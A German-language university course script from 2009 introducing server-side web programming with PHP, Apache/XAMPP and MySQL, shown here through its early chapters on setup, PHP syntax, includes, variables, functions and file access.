Web Programmierung 2

Ein Skriptum zu den gleichnamigen Lehrveranstaltungen im 2. Semester von MultiMediaTechnolgy

Überblick
0. 1. 2. 3. 4. 5. 6. 7. Anhänge Stichwortverzeichnis Vorbereitung Einstieg in die serverseitige Programmierung HTTP Webapplikationen mit MySQL Login, Sessions und Datenbank verändern AJAX und REST DB-Transaktionen und Apache Konfiguration Ausblick 6 12 26 42 51 66 77 88 93 95

Version vom 23.Juni 2009

MMT Webprogrammierung 2

2

Ziele
Diese Lehrveranstaltung führt mehrere Themen, die im ersten Semester noch separat behandelt wurden zusammen: Datenbanken, UNIX, Webprogrammierung mit HTML, CSS, Javascript werden zusammen mit der Programmiersprachen PHP eingesetzt um Web-Applikationen zu bauen. Am Ende des zweiten Semesters können Sie sagen: • Ich kann Webapplikationen erstellen, und habe auch schon eine kleine Applikation inklusive Datenbank vollständig umgesetzt. • Ich kenne die Arbeitsteilung in einem Web-Projekt und kann meinen (technischen) Teil mit Javascript, PHP und MySQL beitragen. • Ich kann die Qualität einer Webapplikation beurteilen: Ich kenne die REST-Prinzip, ich kenne Sicherheitsprobleme und Lösungsansätze, ich kann AJAX einsetzen. • In meinem Blog zeige ich mehrere Artikel über Aspekte einer Web-Applikation.

MMT Webprogrammierung 2

3

Inhaltsverzeichnis
0. 0.1 0.2 0.3 0.3.1 0.3.2 0.3.3 0.3.4 0.4 0.4.1 0.4.2 1. 1.1 1.2 1.2.1 1.2.2 1.2.3 1.2.4 1.3 1.3.1 1.3.2 1.3.3 1.3.4 1.3.5 1.4 1.4.1 1.4.2 1.4.3 1.4.4 1.4.5 2. 2.1 2.2 2.3 2.3.1 2.3.2 2.3.3 2.3.4 2.3.5 Vorbereitung Ziele dieses Kapitels Was ist PHP? Was passiert am Webserver? Apache Apachefriends und XAMPP Apache und MySQL starten Apache als Windows-Dienst Webserver stoppen Das erste PHP-Programm PHP Versionen Dokumentation Einstieg in die serverseitige Programmierung Ziele Syntax von PHP HTML und PHP Includes Variablen und Typen Funktionen Dateien und Ordnern in PHP Zugriffsrechte Ordner auflisten Datei lesen Datei (über-)schreiben Gleichzeitiger schreibender Zugriff PHP erzeugt nicht nur HTML PHP erzeugt CSS PHP erzeugt Bild PHP erzeugt Variablen für Flash PHP erzeugt XML PHP leitet weiter HTTP Ziele TCP/IP und DNS HTTP Ablauf im Überblick Aufbau von Request und Response HTTP abhören Seite laden oder Formulardaten senden mit GET Senden von Formulardaten mit Post 6 6 7 7 7 8 8 9 9 10 11 12 12 12 12 15 16 18 19 19 20 21 21 22 22 22 23 24 24 25 26 26 26 28 28 28 30 31 32

MMT Webprogrammierung 2 2.3.6 2.3.7 2.3.8 2.3.9 2.4 2.4.1 2.4.2 2.4.3 2.5 3. 3.1 3.2 3.2.1 3.2.2 3.3 3.3.1 3.3.2 3.3.3 3.3.4 3.3.5 4. 4.1 4.2 4.2.1 4.2.2 4.3 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5 5. 5.1 5.2 5.2.1 5.2.2 5.3 5.3.1 5.3.2 5.3.3 5.3.4 5.3.5 Umleitung an neue URL Authentisierung nach RFC 2617 HTTPS Proxies Daten aus Web-Formularen verarbeiten Daten senden mit Methode POST Daten prüfen Datei Upload PHP und E-Mail Webapplikationen mit MySQL Ziele PHP und MySQL MySQL Installation, Wiederholung, Dokumentation MySQL von PHP aus Eine lesende Web-Applikation Viele Datensätze aus der Datenbank lesen Einzelne Daten aus der Datenbank lesen Einen bestimmten Datensatz lesen Datensätze suchen Bilanz Login, Sessions und Datenbank verändern Ziele Session und Login Cookies Session Web-Applikation mit Schreibrecht Daten löschen Daten einfügen Einen Datensatz bearbeiten Escapen von HTML Darstellen von HTML AJAX und REST Ziele Wiederholung: Was ist AJAX Simples AJAX Beispiel mit jQuery Schlechte Verwendung von AJAX REST – Representational State Transfer Jedes Dokument soll eine eindeutige URL haben Dokumente sollen Links auf andere Dokument enthalten HTTP-Methoden GET, POST, PUT, DELETE Ein Dokument – mehrere Repräsentationen Zustandslosigkeit = Statlessness.

4 33 34 35 35 36 37 37 39 40 42 42 42 42 45 46 48 48 48 50 50 51 51 52 52 53 56 57 58 60 62 63 66 66 66 68 68 69 70 71 71 72 72

MMT Webprogrammierung 2 5.4 5.5 5.5.1 5.5.2 5.6 6. 6.1 6.2 6.3 6.4 6.5 6.5.1 6.5.2 6.5.3 6.5.4 6.5.5 7. 7.1 7.1.1 7.2 7.2.1 7.2.2 7.2.3 Anhänge 7.3 jQuery – Wiederholung jQuery und AJAX Clientseitige Datenprüfung mit AJAX-Nachfrage beim Server Autofill Quellenverzeichnis DB-Transaktionen und Apache Konfiguration Ziele Foreign Key Constraint Transaktion Andere DB-Schnittstellen Konfiguration von Apache Konfigurations-Änderung wirksam machen Fehlermeldung Zugriffsbeschränkung HTTP Auth mit Apache mod_rewrite Ausblick Templates und MVC Templates am Beispiel von Smarty Security von Web-Applikationen Keine Ausreden Beispiele für Attacken Tipps für mehr Sicherheit in PHP 93 Literatur- und Web-Tipps

5 73 74 74 75 76 77 77 78 79 81 83 83 84 84 85 86 88 89 89 91 91 91 92 93 95

Stichwortverzeichnis

MMT Webprogrammierung 2

6

0.

Vorbereitung

Bevor dar eigentliche Unterricht startet müssen Sie Ihren Computer auf die Arbeit mit PHP und MySQL vorbereiten.

0.1 Ziele dieses Kapitels
Was Sie wissen sollten
• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Output von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist. • • • Dass Apache ein freier Webserver ist. Dass MySQL eine freie Datenbank ist. Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.

Was Sie können sollten
• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem UNIX-Webserver wie z.B. www.users.fh-salzburg.ac.at. • • Die PHP-Dokumentation als Nachschlagewerk verwenden. PHP-Code lesen, egal auf welche Art er in HTML eingebettet ist.

Weitere Informationsquellen
• • Apache, PHP, MySQL als Paket für Apple: MAMP PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net

Vertiefungsmöglichkeiten
Helfen Sie einem Kollegen / einer Kollegin beim installieren von XAMPP.

MMT Webprogrammierung 2

7

0.2

Was ist PHP? Was passiert am Webserver?

PHP ist eine Programmiersprache am Webserver. Sie ist im Vergleich zu anderen Programmiersprachen wie C++ oder Javascript recht simple in der Schreibweise und etwas altmodisch. Gerade deswegen eignet sie sich gut für Programmier-EinsteigerInnen. Viele bekannte open source WebApplikationen sind in PHP geschrieben. Neben PHP werden viele andere Sprachen am Webserver verwendet. Da der Output dabei immer HTML ist kann der Client nicht erkennen, welche Sprache verwendet wurde. Der Quelltext des Programms wird nie im Browser sichtbar. Das PHP-Programm wird gestartet um die Anfrage des Browsers zu beantworten. Nachdem diese Aufgabe erfüllt ist, wird das PHP-Programm wieder beendet. Die Laufzeit ist also sehr, sehr kurz! Ein sehr einfaches Beispielprogramm in PHP gibt „Hallo Welt“ aus und zeigt (mit dem Befehl phpinfo) viele Informationen über den Webserver und die PHP Installation an:
<html> <body> <?php echo "Hallo Welt"; phpinfo(); ?> </body> </html>

Um dieses Programm zu testen, brauchen Sie einen Browser und einen Webserver.

0.3 Apache
Apache ist ein freier Webserver. Das Apache-Projekt startete 1995 um statt NCSA Webserver, der schon durch viele Patches verbessert wurde, einen neuen Webserver von Grund auf zu programmieren. Der Name leitet sich aber noch von „a patchy webserver“ ab1. Im Gegensatz zu anderen freien Software Projekten waren in der Apache Group von Anfang an Programmierer aus großen Firmen vertreten, und zwar im offiziellen Auftrag dieser Firmen.

0.3.1

Apachefriends und XAMPP

Die „apachefriends“ bieten den Webserver Apache in einem Paket mit der Programmiersprache PHP und der Datenbank MySQL für Windows an. Dieses Gesamtpaket heißt dann XAMPP. Eine sehr freundliche Installations-Anleitung ist auch dabei.

1

http://httpd.apache.org/ABOUT_APACHE.html und http://www.apache.org/foundation/faq.html

MMT Webprogrammierung 2

8

Abbildung 1: Webseite von apachefriends.org, download von XAMPP

Die Alternative zur Distribution XAMPP wäre, jeden Teil einzeln zu besorgen: Apache von
httpd.apache.org, PHP von php.net, und MySQL von MySQL.com herunter laden, die drei Pake-

te separat installieren, und dann versuchen, sie richtig zu kombinieren. Das ist viel mehr Arbeit.

0.3.2

Apache und MySQL starten

Wenn die Installation von Apache und MySQL auf Windows funktioniert hat, findet man nicht – wie bei anderen Programmen – einen Eintrag im Programm-Menü. Weder Apache noch PHP noch MySQL haben eine grafische Oberfläche. Apache und MySQL sind „Server“, die man starten muss. Man kann Apache und MySQL auf zwei Arten starten: als Windows-Dienst oder über das in Abbildung 2 gezeigte XAMPP Control Panel.

Abbildung 2: XAMPP Control Panel zum Starten und Stoppen von Apache

0.3.3

Apache als Windows-Dienst

Man findet unter SYSTEMSTEUERUNG -> VERWALTUNG -> DIENSTE eine Liste aller installierten Dienste und kann diese starten und anhalten.

MMT Webprogrammierung 2

9

Abbildung 3: Dienste von Windows: MySQL und Apache2 sind schon gestartet

0.3.4

Webserver stoppen

Egal wie man Apache gestartet hat: erst mit einem Browser kann man die Funktionstüchtigkeit des Webservers wirklich testen. Als URL verwendet man
http://localhost/.

Achtung: Apache und MySQL brauchen viel Hauptspeicher: Apache ca. 40 MB, MySQL fast 400 MB. Wer gleichzeitig mit vielen anderen Programmen arbeitet und nur wenig Hauptspeicher im Computer hat, sollte also MySQL und Apache nach Gebrauch wieder beenden.

0.4 Das erste PHP-Programm
Beachten Sie, dass das Programm die richtige Dateiendung (.php) haben muss und nicht direkt im Browser angezeigt werden kann:

Abbildung 4: So funktioniert PHP nicht: ohne Webserver, falsche Dateiendung

Wenn Sie eine PHP-Programm in einer Datei mit der Endung .html oder .htm speichern wird es nicht vom Webserver interpretiert, sondern direkt an den Browser gesandt. Der Browser zeigt den Code aber nicht an, erst mit Ansicht->Quelltext kann man den Code sehen wie in Abbildung 5 gezeigt.

Abbildung 5: So funktioniert PHP nicht: falsche Dateiendung

MMT Webprogrammierung 2

10

Wenn Sie die richtige Dateiendung verwenden (.php) und die Seite über einen Webserver betrachten (z.B. http://localhost) kann immer noch ein Fehler im PHP-Programm auftreten. Die Fehlermeldung des Interpreters wird dann im Browser angezeigt wie in Abbildung 6 gezeigt.

Abbildung 6: So funktioniert PHP nicht: Fehler im Programm

Zum Abschluss nun das funktionierende Programm bei einem funktionierenden Testlauf:

Abbildung 7: So funktioniert PHP: Webserver, richtige Endung, richtiger Programmcode

Mit Ansicht->Quelltext kann man nun im Browser nur noch den HTML-Code sehen, niemals aber den PHP-Quellcode!

0.4.1

PHP Versionen

Der Befehl phpinfo() liefert Informationen zur PHP-Installation. In Abbildung 7 sehen Sie z.B. dass PHP in der Version 5.0.5 installiert ist. Zwischen den verschiedenen PHP-Versionen gibt es eklatante Unterschiede, PHP ist nicht aufwärtskompatibel. Wenn ihr Webspace-Vermieter auf eine neue PHP-Version umstellt, müssen Sie eventuell den Code Ihres Programmes anpassen. In der PHP-Dokumentation sind diese Unterschiede bei den einzelnen Befehlen aufgeführt, z.B. bei der Funktion array_fill() ist in der Dokumentation angegeben:
(PHP 4 >= 4.2.0, PHP 5)

Die Funktion existiert also seit PHP 4 Version 4.2.0 und auch in PHP 5.

MMT Webprogrammierung 2 Besonders im Bereich der Objektorientierung (Objekte, Klassen, etc.) gab es große Veränderungen

11

von PHP 4 auf PHP 5. Falls Sie objektorientiert programmieren wollen, sollten Sie auf jeden Fall PHP 5 verwenden! Wenn Sie Webspace mieten liegt die Entscheidung aber nicht bei Ihnen: viele Webspace-Provider bieten nur veraltete PHP-Versionen an. Das sollten Sie auf jeden Fall klären bevor Sie den Mietvertrag abschließen!

0.4.2

Dokumentation

Die Dokumentation zu PHP finden Sie auf http://php.net.

Abbildung 8: Eine Funktion in der Doku auf php. net nachschlagen

Hilfreich sind auch die Kommentare der UserInnen am Ende jeder Doku-Seite. Hier finden Sie oft Erklärungen zu einzelnen Features, die in der Dokumentation ‚vergessen’ wurden, oder Anwendungsbeispiele:

Abbildung 9: Kommentare von UserInnen in der Doku auf php. Net

Die Dokumentation kann man auch herunterladen und lokal installieren, dann enthält sie aber nicht die Kommentare.

MMT Webprogrammierung 2

12

1.

Einstieg in die serverseitige Programmierung

1.1 Ziele
Was Sie alle wissen sollten
• Dass PHP eine freie Skriptsprache ist, die am Webserver interpretiert wird. Dass nur der Output von PHP an den Browser übertragen wird, also der Source-Code niemals lesbar ist. • Dass es sehr viele Programmiersprache gibt die alternativ zu PHP am Webserver verwendet werden können. • Wo Sie Apache, PHP und MySQL im Paket für Windows herunterladen können.

Was Sie alle können sollten
• Ein PHP Programm schreiben und testen – sowohl am eigenen Computer als auch auf einem UNIX-Webserver wie z.B. student.cosy.sbg.ac.at. • • • • • PHP-Code lesen, egal auf welche Art er in HTML eingebettet ist. Die PHP-Dokumentation als Nachschlagewerk verwenden. Mit Zahlen, Strings, Arrays in PHP arbeiten. Eigene Funktionen definieren. Mit Dateien und Ordnern in PHP arbeiten.

Weitere Informationsquellen
• • PHP Homepage mit Dokumentation in verschiedenen Sprachen: http://php.net Smarty http://smarty.php.net/

Vertiefungsmöglichkeiten
Lesen Sie in der Dokumentation über String-Funktionen, Array-Funktionen, Filesystem-Funktionen. Installieren Sie Smarty und lösen Sie die Übungsaufgaben alternativ mit Smarty.

1.2 Syntax von PHP
1.2.1 HTML und PHP

Ein erstes längeres Beispiel zeigt wie eng HTML und PHP vermischt werden:

MMT Webprogrammierung 2
01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Beispielseite für ein PHP-Programm</title> </head><body> <h1>PHP-Beispiel</h1>

13

<?php
$entfernung = 296; $h = 2; $min = 40; $zeit = $h + $min / 60; $kmh = $entfernung / $zeit; echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>\n"; if( $kmh > 130 ) { echo("<p><b>Das ist zu schnell!</b></p>\n"); }

?>
</body> </html>

Der Quellcode besteht hier aus einem HTML-Dokument, in dem in Zeile 09 bis 19 PHP eingebettet ist. In den Zeilen 10 bis 14 werden nur Berechnungen durchgeführt, diese Zeilen haben keine Auswirkung auf das resultierende HTML-Dokument. In den Zeile 15 und 17 wird mit der echo() – Funktion ein Output erstellt. Der PHP-Interpreter fügt diesen Output an der Stelle ein, wo der PHP-Code war; das Ergebnis sieht wie folgt aus:
01 02 03 04 05 06 07 08 09 10 11 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Beispielseite für ein PHP-Programm</title> </head><body> <h1>PHP-Beispiel</h1> <p>296 km in 2:40 sind 111 km/h</p> </body> </html>

Welcher Teil des Dokuments statisch war und welcher von PHP berechnet wurde ist für den Browser nicht erkennbar. Ein PHP-Dokument kann mehrere Einbettungen enthalten, dabei können sogar Kontrollstrukturen in einem anderen Teil fortgesetzt werden:

MMT Webprogrammierung 2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Beispielseite für ein PHP-Programm</title> </head><body> <h1>Wilde Mischung</h1> <?php $i = 0; while ( $i < 22 ) { ?> <p>Alles Gute zum Geburtstag <img src="torte.jpg" /> !</p> <?php $i++; } ?> <p>Und ein gutes nächstes Jahr!</p> </body> </html>

14

Diese Schreibweise widerspricht den Lese-Gewohnheiten von ProgrammiererInnen: diese Art von Verschachtelung ist in den meisten Sprachen verboten. z.B. in HTML: <b>fett <i>und</b> kursiv</i> In PHP wird diese Schreibweise oft verwendet, es gibt aber eine alternative Schreibweise für die Kontrollstrukturen, die besser zu unseren Lesegewohnheiten passt: Statt der öffnenden geschwungenen Klammer wird ein Doppelpunkt geschrieben, das Ende der Schleife wird mit einem eigenen Schlüsselwort (endwhile, endif, endfor) markiert:
<h1>Wilde Mischung</h1> <?php $i = 0; while ( $i < 22 ) : ?> <p>Alles Gute zum Geburtstag <img src="torte.jpg" /> !</p> <?php $i++; endwhile; ?> <p>Und ein gutes nächstes Jahr!</p>

Bei größeren Projekten empfehle ich aber auf jeden Fall die Trennung von Programm-Logik und Darstellung und die Verwendung von Templates wie z.B. Smarty. Der erste Schritt in diese Richtung wäre, die Berechnung an den Anfang der Datei zu stellen. Welcher Teil schon als Ausgabe zählt und in das HTML-Dokument eingebettet wird ist dabei wieder eine Abwägungsfrage, auf die es keine fixe Antwort gibt.

MMT Webprogrammierung 2
<?php // Berechnung zuerst $entfernung = 296; $h = 2; $min = 40; $zeit = $h + $min / 60; $kmh = $entfernung / $zeit;

15

?> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Beispielseite für ein PHP-Programm</title> </head><body> <h1>PHP-Beispiel</h1> <?php echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>"; if( $kmh > 130 ) { echo("<p><b>Das ist zu schnell!</b></p>"); } ?> </body> </html>

1.2.2

Includes

Bei PHP-Applikationen mit mehr als einer Datei empfiehlt sich die Verwendung von include um Duplizierung von Code zu verhindern. PHP-Code der mehrmals verwendet wird kann als Funktionen in eine Datei phpfunctions.php ausgelagert werden:
<?php function calc( $entfernung, $h, $min ) { $zeit = $h + $min / 60; $kmh = $entfernung / $zeit; return $kmh; } ?>

Wenn diese Datei direkt aufgerufen wird (http://www.meinhost.at/phpfunctions.php) erscheint kein Output, aber auch keine Fehlermeldung 404 wie bei einer nicht existierenden Seite. Der Anfang und das Ende der HTML-Datei (inklusive Titel, Navigation, Headline) können in Dateien
header.php und footer.php

ausgelagert werden. Im Header wird PHP (statt statischem HTML) ver-

wendet, um den Titel der Seite und später eventuell die Navigation dynamisch generieren zu können:

MMT Webprogrammierung 2
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <title>Brigittes totale Web-App: <?php echo $pagetitle ?></title> <link rel="stylesheet" href="style.css" /> </head><body> <ul id="navigation"> <li>Home</li> <li>Hier</li> <li>Da</li> </ul> <h1><?php echo $pagetitle ?></h1>

16

Wenn diese Seite direkt aufgerufen wird (http://www.meinhost.at/header.php) erscheint der HTMLCode. Da die Variable $pagetitle nicht gesetzt ist (undefined) wir sie behandelt als ob sie den leeren String enthält: die Überschrift ist leer. Der Footer könnte auch eine statische HTML-Datei sein, da hier keine Variablen oder PHP-Code verwendet warden:
<div id="foot">&copy; 2009 Brigitte</div> </body> </html>

In der “Haupt-Datei” warden alle diese Einzelteile zusammengefügt:
<?php include "phpfunctions.php"; // kein Output, nur Definitionen von Funktionen!

$pagetitle = "Berechnung der Geschwindigkeit"; $entfernung = 296; $h = 2; $min = 40; $kmh = calc($entfernung, $h, $min); include "header.php"; // erster Output von HTML

echo "<p>$entfernung km in $h:$min sind $kmh km/h</p>"; if( $kmh > 130 ) { echo("<p><b>Das ist zu schnell!</b></p>"); } include "footer.php" ?>

Und wieder gilt: die „Zusammensetzung“ erfolgt am Server. Im Client landet nur der fertige HTMLCode. Die UserIn kann nicht erkennen, dass die Seite ursprünglich aus mehreren Dateien bestand.

1.2.3

Variablen und Typen

Variablennamen in PHP beginnen mit einem Dollar-Zeichen. Warum? Sie haben im Beispielprogramm schon gesehen, wie Variablen einfach in Strings eingebettet werden können:

MMT Webprogrammierung 2
echo "$entfernung km in $h:$min sind $kmh km/h";

17

Das ist nur möglich weil die Variablennamen mit einem besonderen Zeichen gekennzeichnet sind. Es gibt in PHP eine zweite Schreibweise für Strings die keine Variablen erlaubt:
echo 'Bei einfachen Anführungszeichen ist ein $ einfach ein $';

Variablen in PHP müssen nicht deklariert oder initialisiert werden. PHP unterscheidet zwischen den Datentypen boolean, integer, float, string, array, object, resource und NULL. In einer Variable können nacheinander verschiedene Datentypen gespeichert werden, die Variable selbst hat also keinen Typ! Je nach verwendeten Operatoren und Funktionen werden die Typen konvertiert:
<?php $foo = "0"; // $foo is a string with one character (ASCII 48) $foo += 2; // $foo is now an integer (2) $foo = $foo + 1.3; // $foo is now a float (3.3) $bar = 5 + "10 Little Piggies"; // $bar is an integer (15) $baz = 5 . "10 Small Pigs"; // $baz is a longer string "510 Small Pigs" ?>

Die Addition mit + interpretiert beide Summanden als Zahl. Falls ein Summand ein String ist, wird am Beginn des Strings nach einer Zahl gesucht und diese verwendet. Der Punkt-Operator fügt Strings zusammen und interpretiert seine beiden Operanden als Strings. Arrays in PHP können auf ähnliche Art verwendet werden wie in C++ (und C, und Java, und Perl,…) und verhalten sich auf den ersten Blick auch wie erwartet:
$foo[2] $foo[3] $foo[0] $foo[1] = = = = 2008; 2009; "Halli"; "Hallo";

for($i=0;$i<count($foo);$i++) { echo("Der $i. Wert im Array ist $foo[$i]<br />"); }

Auf den zweiten Blick sind Arrays in PHP aber wesentlich komplexer: nicht nur Integers sind als Index zulässig, sondern auch Strings, es handelt sich also um assoziative Arrays in denen ein Schlüssel mit einem Wert assoziiert wird. Mit der foreach Schleife kann man Schlüssel und Wert auslesen. Dabei wird offenbar, dass die Reihenfolge des Einfügens ins Array erhalten geblieben ist: Die Schlüssel-Wert-Paare sind im Array weiterhin geordnet!

MMT Webprogrammierung 2
$foo[2] $foo[3] $foo[0] $foo[1] = = = = 2008; 2009; "Halli"; "Hallo";

18

foreach( $foo as $key => $value ) { echo("Zum Schlüssel $key ist der Wert $value gespeichert<br />"); }

Mit der Schreibweise $foo[] kann ein Wert unter der kleinsten (noch nicht verwendet) Integer-Zahl als Schlüssel gespeichert werden:
$foo[2] = 2008; $foo[3] = 2009; $foo[0] = "Halli"; $foo[1] = "Hallo"; $foo['dies'] = "etwas Nahes"; $foo['das'] = "etwas Fernes"; $foo[] = "das Nächste";

Das Array in PHP ist also ein wesentlich komplexerer Datentyp als ein Array in anderen Programmiersprachen – es verbindet Eigenschaften von Arrays mit denen von assoziativen Arrays. Ein Array zu sortieren ist entsprechend kompliziert; es gibt eine ganze Reihe von Sortier-Funktionen. Sie finden diese im Abschnitt „Array-Funktionen“ der PHP-Doku.

1.2.4

Funktionen

function foo($arg_1, $arg_2 = "Euro") { $a = 1 * 2; return $a . $arg_2; } $x = foo(10); $y = foo(20, "Pfund");

Die Schreibweise von Funktionen inklusive Argumentliste und Rückgabewert ist leicht verständlich. Eine Falle für erfahrene ProgrammiererInnen ist das Scoping von globalen Variablen:
$pi = 3.141; function inhalt($radius) { return $radius * $radius * $pi; } $r = 10; $a = inhalt($r); echo("ein Kreis mit Radius $r hat eine Fläche von $a");

Dieses Programm funktioniert nicht wie erwartet, da innerhalb einer Funktion kein Zugriff auf die außerhalb definierten Variablen möglich ist! Die Variable $pi ist in der Funktion nicht sichtbar, stattdessen wird mit einer neuen Variable $pi mit Default-Wert 0 gerechnet. Mit dem Keyword global wird die Variable „in die Funktion eingeladen“ und ist dann auch innerhalb der Funktion sichtbar, lesbar und veränderbar.

MMT Webprogrammierung 2
$pi = 3.141; function inhalt($radius) { global $pi; return $radius * $radius * $pi; } $r = 10; $a = inhalt($r); echo("ein Kreis mit Radius $r hat eine Fläche von $a");

19

Ausgenommen von dieser Regelung sind die sogenannten „superglobals“. Das sind Variablen, die auf jeden Fall sichtbar sind. Vier davon werden hier vorgestellt, die anderen werden erst später behandelt.
$GLOBALS $_SERVER

Dieses Array enthält alle globalen Variablen. Dieses Array enthält Konfigurations-Informationen des (Web-)Servers und allgemeine Informationen zur aktuellen Anfrage (z.B. IP-Adresse des Browsers) Dieses Array enthält die Umgebungsvariablen (je nach Betriebssystem verschieden). Die Parameter die über die URL an das PHP-Programm übergeben wurden.

$_ENV

$_GET

1.3 Dateien und Ordnern in PHP
In diesem Kapitel wird beschreiben, wie PHP mit Dateien und Ordnern arbeiten kann und welche Web-spezifischen Probleme dabei auftreten.

1.3.1

Zugriffsrechte

Achtung: Auf einem UNIX-Webserver läuft das PHP-Programm unter dem Account des Webservers, nicht unter Ihrem Account! Dies wird relevant, sobald ein PHP-Programm eine andere Datei lesen oder (über-)schreiben soll. Beim Upload der Dateien auf den Webserver mit einem FTP oder SFTP Programm sollten Sie auch die Möglichkeit haben, die Zugriffsrechte anzusehen bzw. zu verändern. Abbildung 10 zeigt links die Darstellung der Zugriffsrechte in der Shell, rechts das Verändern der Zugriffsrechte mit Dreamweaver.

MMT Webprogrammierung 2

20

Abbildung 10: UNIX Zugriffsrechte mit Dreamweaver setzen

Eine kurze Wiederholung der UNIX-Zugriffsrechte: Es gibt drei Rechte (Lesen, Schreiben, Ausführen) und drei Gruppen von Usern die unterschieden werden (Eigentümer, Gruppe, Andere). Im Terminal werden diese Rechte als Buchstaben angezeigt: r steht für Lesen, w für Schreiben, x für Ausführen.

Das PHP-Programm läuft nicht unter Ihrem Account, sondern unter dem Account des Webservers. D.h. für das PHP-Programm gelten die Zugriffsrechte „für Alle“. Mit den PHP-Funktionen is_readable() und is_writable() können Sie testen, ob das Programm Lese- bzw. Schreibrechte auf eine bestimmte Datei hat.

1.3.2

Ordner auflisten

Um herauszufinden, welche Dateien (und Unter-Ordner) sich in einem Ordner befinden, verwendet man die Funktion glob. (Achtung: die Funktionen opendir, readdir, closedir gibt es auch, die sind aber komplizierter zu verwenden)
<?php $alle = glob("*"); foreach( $alle as $file ) { // forach-Schleife über Werte, Schlüssel ignorieren! echo "<br>Datei $file gefunden.\n"; } ?>

Im Output des Programmes werden nicht nur Dateien angezeigt, sondern auch Ordner. Mit den Funktionen is_dir() und is_file() könnte man herausfinden ob ein Ordner oder eine Datei vorliegt. Die Funktion glob kann — ähnlich wie das DOS-Kommand dir oder das UNIX-Kommando ls —mit verschiedenen Mustern suchen:

MMT Webprogrammierung 2
<?php $alle = glob("*.jpg"); foreach( $alle as $file ) { echo "<br>Bild $file gefunden.\n"; } ?>

21

Der Rückgabewert von glob ist ein Array. Mit array_merge kann man mehrere Arrays zusammenfügen zu einem langen Array und mit asort die Werte alphabethisch sortieren:
$jpg = glob("bilder/*.jpg"); $gif = glob("bilder/*.gif"); $alle_bilder = array_merge($jpg, $gif); asort( $alle_bilder )

1.3.3

Datei lesen

Um eine Datei von PHP aus zu benutzen, muss man sie mit der Funktion fopen öffnen. Man erhält einen „handle“ mit dem man sich im Weiteren auf diese Datei bezeihen kann.
$handle = fopen("counter.txt", "r"); // r steht für read = lesen

Achtung: die Pfadangabe zur Datei ist in UNIX-Schreibweise mit Slash zu schreiben, nicht in WindowsSchreibweise mit Backslash, also:
$handle = fopen ("unterordner\counter.txt", "r") $handle = fopen ("unterordner/counter.txt", "r")

Da die Datei zum Lesen geöffnet wurde, kann man nun mit fgets eine Zeile aus der Datei lesen. „Eine Zeile“ bedeutet hier: bis ein Zeilenumbruch in der Datei gefunden wird.
$zahl = fgets($handle);

Bei längeren Dateien wird fgets meist in einer Schleife verwendet, um alle Zeilen aus der Datei zu lesen. Nach Gebrauch muss man die Datei wieder schließen:
fclose($handle);

1.3.4

Datei (über-)schreiben

Beim Schreiben wird als zweites Argument von fopen der Buchstabe „w“ übergeben:
$handle = fopen("counter.txt", 'w'); fwrite($handle, "$zahl\n"); fclose($handle);

Leider ist das Leben aber nicht so einfach: sowohl beim Lesen als auch beim Schreiben von Dateien kann viel schief gehen. Existiert die Datei, aus der ich lesen will, überhaupt? Darf ich in die Datei, in die ich schreiben will überhaupt schreiben? Um diese Fragen zu beantworten gibt es Funktionen
is_readable, is_writable und die Rückgabewerte der verschiedenen schon gezeigten File-

Funktionen. So liefert fwrite entweder die Anzahl der geschriebenen Bytes oder FALSE als StatusCode zurück:

MMT Webprogrammierung 2
$status = fwrite($handle, $zahl); if ( $status === FALSE ) { echo "Datei nicht schreibbar: Platte voll? Zugriff verboten?"; exit; }

22

Bevor Sie beginnen mit PHP Dateien zu (über-)schreiben, zu löschen oder zu verschieben ein Warnhinweis: Es wird ernst. Hier gibt es keinen Papierkorb. Wenn Ihr PHP-Programm eine Datei löscht, dann ist diese Datei sofort und unwiederbringlich weg.

1.3.5

Gleichzeitiger schreibender Zugriff

Achtung: was passiert wenn zwei Zugriffe genau gleichzeitig erfolgen? Zwei Apache-Prozesse führen jeweils das PHP-Programm aus und versuchen, in die gleiche Datei zu schreiben! Diese Problem existiert, wir werden es aber erst mal ignorieren.

1.4 PHP erzeugt nicht nur HTML
Ein PHP-Programm gibt normalerweise HTML aus. Entsprechend liefert der PHP-Interpreter einen http-Header „Content-Type: text/html“. Mit dem Befehl header() kann dies verändert werden.

1.4.1

PHP erzeugt CSS

Eine externes Stylesheet kann auch Output eines PHP-Programmes sein:
<html> <head> <link rel="stylesheet" href="style.php" /> </head> <body> <h1>Überschrift</h1> <p>text text text</p> </body> </html>

